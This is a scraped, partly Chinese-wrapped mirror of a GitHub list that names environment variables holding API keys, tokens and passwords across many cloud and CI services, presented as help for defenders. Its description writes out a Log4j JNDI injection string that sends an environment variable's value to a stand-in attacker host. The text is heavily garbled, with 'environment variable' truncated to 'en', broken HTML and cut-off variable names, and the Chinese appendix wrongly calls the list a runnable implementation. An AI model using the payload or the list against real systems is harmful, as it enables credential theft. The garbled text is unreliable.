awesome-list-of-secrets-in-environment-variables - 🦄🔒 Awesome list of secrets in environment variable

项目说明

<di="center" >🤝 Show your support - give a ⭐️ if you liked the content | <a target="_blank" href=' on Twitter</a>
| Follow me on
<a target="_blank" href=' src='
<a target="_blank" href=' src='
</div>

---

Awesome list of secrets in en ![Awesome]()

📝 Description

List of secrets, passwords, API keys, tokens stored inside a system en .

An en is a whose value is set outside the program, typically through functionality built into the operating system or microservice.

Many de documentations recommends storing secrets inside an en , but is it the best way to keep secrets?

The attacker can read inside system en by using exploits:

C JNDI log4j (JAVA) (Read more...)

${jndi:ldap://somesitehackerofhell.com/z?leak=${en:-NO_EXISTS}}

Get AWS_SECRET_ACCESS_KEY or return NO_EXISTS

C Web browser attack (Writeup/POC coming soon to my Github - Follow me on Github and Twitter 😉

and much more...

Because of that I created, a list of secrets in en to help secure software.

Some of practices to avoid leak of secrets stored in en is to:

Block/notify on WAF when the request includes system en

Store in system en path to a config file, instead of clean value

Encrypt inside en

Use different way to store secrets 🤓

!En

You can check your system en :

Windows execute in PowerShell: dir env:

Linux/MacOS execute in terminal: printenv or env

Awesome list of secrets in en

A

AWS

AWS_ACCESS_KEY_ID

AWS_SECRET_ACCESS_KEY

AMAZON_AWS_ACCESS_KEY_ID

AMAZON_AWS_SECRET_ACCESS_KEY

source:

Algolia

ALGOLIA_API_KEY

source:

Azure

AZURE_CLIENT_ID

AZURE_CLIENT_SECRET

AZURE_USERNAME

AZURE_PASSWORD

MSI_ENDPOINT

MSI_SECRET

source:
<br>
source:

B

Binance

binance_api

binance_secret

source:

Bittrex

BITTREX_API_KEY

BITTREX_API_SECRET

source:

C

Cloud Foundry

CF_PASSWORD

CF_USERNAME

source:

Code Climate

CODECLIMATE_REPO_TOKEN

source:

Co

CO

source:

CircleCI

CIRCLE_TOKEN

source:

D

Digitalocean

DIGITALOCEAN_ACCESS_TOKEN

source:

Dockerhub

DOCKER_EMAIL

DOCKER_PASSWORD

DOCKER_USERNAME

source:

Dockerhub

DOCKERHUB_PASSWORD

source:

E

F

Fastlane products

ITC_PASSWORD

source:

Facebook

FACEBOOK_APP_ID

FACEBOOK_APP_SECRET

FACEBOOK_ACCESS_TOKEN

Firebase

FIREBASE_TOKEN

FIREBASE_API_TOKEN

source:

Fossa

FOSSA_API_KEY

source:

G

Github

GH_TOKEN

GITHUB_TOKEN

GH_ENTERPRISE_TOKEN

GITHUB_ENTERPRISE_TOKEN

source:

Gitlab

CI_DEPLOY_PASSWORD

CI_DEPLOY_USER

source:

Google Cloud

GOOGLE_APPLICATION_CREDENTIALS

GOOGLE_API_KEY

source:

Gitlab

CI_DEPLOY_USER

CI_DEPLOY_PASSWORD

GITLAB_USER_LOGIN

CI_JOB_JWT

CI_JOB_JWT_V2

CI_JOB_TOKEN

source:

H

Heroku

HEROKU_API_KEY

HEROKU_API_USER

source:

I

J

K

L

M

Mailgun

MAILGUN_API_KEY

source:

MongoDB

MCLI_PRI

MCLI_PUBLIC_API_KEY

N

NGROK

NGROK_TOKEN

NGROK_AUTH_TOKEN

source: -

NPM

NPM_TOKEN

NPM_AUTH_TOKEN

source:

O

OKTA

OKTA_CLIENT_ORGURL

OKTA_CLIENT_TOKEN

OKTA_OAUTH2_CLIENTSECRET

OKTA_OAUTH2_CLIENTID

OKTA_AUTHN_GROUPID

source:

Oracle OpenStack command-line client

OS_USERNAME

OS_PASSWORD

source:
<br>
source:

P

Percy.io

PERCY_TOKEN

source:

PostgreSQL

POSTGRES_PASSWORD

source:

Q

R

S

Sauce Labs

SAUCE_ACCESS_KEY

SAUCE_USERNAME

source:

Sentry

SENTRY_AUTH_TOKEN

source:

Slack

SLACK_TOKEN

source:

Square

square_access_token

square_oauth_secret

source:

Stripe

STRIPE_API_KEY

STRIPE_DE

source:

Surge

SURGE_TOKEN

SURGE_LOGIN

source:

T

Twilio

TWILIO_ACCOUNT_SID

TWILIO_AUTH_TOKEN

Source:

Twitter

CONSUMER_KEY

CONSUMER_SECRET

source:

Travis Ci

TRA

TRA

TRA

source:

TELEGRAM_BOT_TOKEN

U

V

Vault HashiCorp

source:

Vultr

TOKEN

source:

W

X

Y

Z

Get a RAW list:

The repository includes the raw list:

raw_list.txt

It is auto-generated from README.md by GitHub action.

😎 Contributing

👍🎉 First off, thanks for taking the time to contribute! 🎉👍

If you would like to add more secrets:
<br>
Please read and follow our Contributing guide

Thanks! 🦄

💻 Useful links

Stacko - Is it secure to store passwords as en (rather than as plain text) in config files?

Google - Best practices for securely using API keys

An Introduction to En and How to Use Them

Why you shouldn't use EN for secret data

The Triumph and Tragedy of .en

🤝 Show your support

<div>🤝 Show your support - give a ⭐️ if you liked the content | <a target="_blank" href=' on Twitter</a>
| Follow me on
<a target="_blank" href=' src='
<a target="_blank" href=' src='
</div>

✔️ Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

项目信息

开发语言：未知

Star 数：911

技术要点

该项目属于红蓝攻防方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕🦄🔒 Awesome list of secrets in environment variables 🖥️展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。